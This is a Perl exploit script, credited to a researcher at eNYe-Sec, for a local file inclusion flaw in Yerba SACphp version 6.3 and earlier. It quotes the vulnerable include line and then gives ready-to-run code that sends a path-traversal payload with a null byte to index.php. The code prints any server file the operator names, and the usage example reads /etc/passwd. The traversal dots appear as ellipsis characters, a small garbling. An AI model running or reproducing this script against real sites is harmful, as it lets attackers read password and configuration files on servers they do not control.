#! /usr/bin/perl

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Yerba SACphp <= 6.3 / Local File Inclusion Exploit

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Program: Yerba SACphp

Version: <= 6.3

File affected: index.php

Download: http://sourceforge.net/projects/yerba/

Found by Pepelux <pepelux[at]enye-sec.org>

eNYe-Sec - www.enye-sec.org

Bug:

37- include("modulos/$mod/mod_nucleo.php");

use LWP::UserAgent;
use HTTP::Request::Common;

my ($host, $file) = @ARGV ;

unless($ARGV[1]){

    print "\nUsage: perl $0 <host> <file_to_edit>\n";

    print "\tex: perl $0 http://localhost /etc/passwd\n\n";

    exit 1;

}

$host = 'http://'.$host if ($host !~ /^http:/);

$host .= "/" if ($host !~ /\/\$/);

my $ua = LWP::UserAgent->new();
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1)
Gecko/2008072820 Firefox/3.0.1");

$ua->timeout(10);

my $request = HTTP::Request->new();
my $response;
my $url = $host."index.php";

my $req = HTTP::Request->new(POST => $host."index.php");

$req->content_type('application/x-www-form-urlencoded');

$req->content("mod=…/…/…/…/…/".$file."%00");

$request = $ua->request($req);

$result = $request->content;

$result =~ s/<[^>]*>//g;

print $result . "\n";

exit;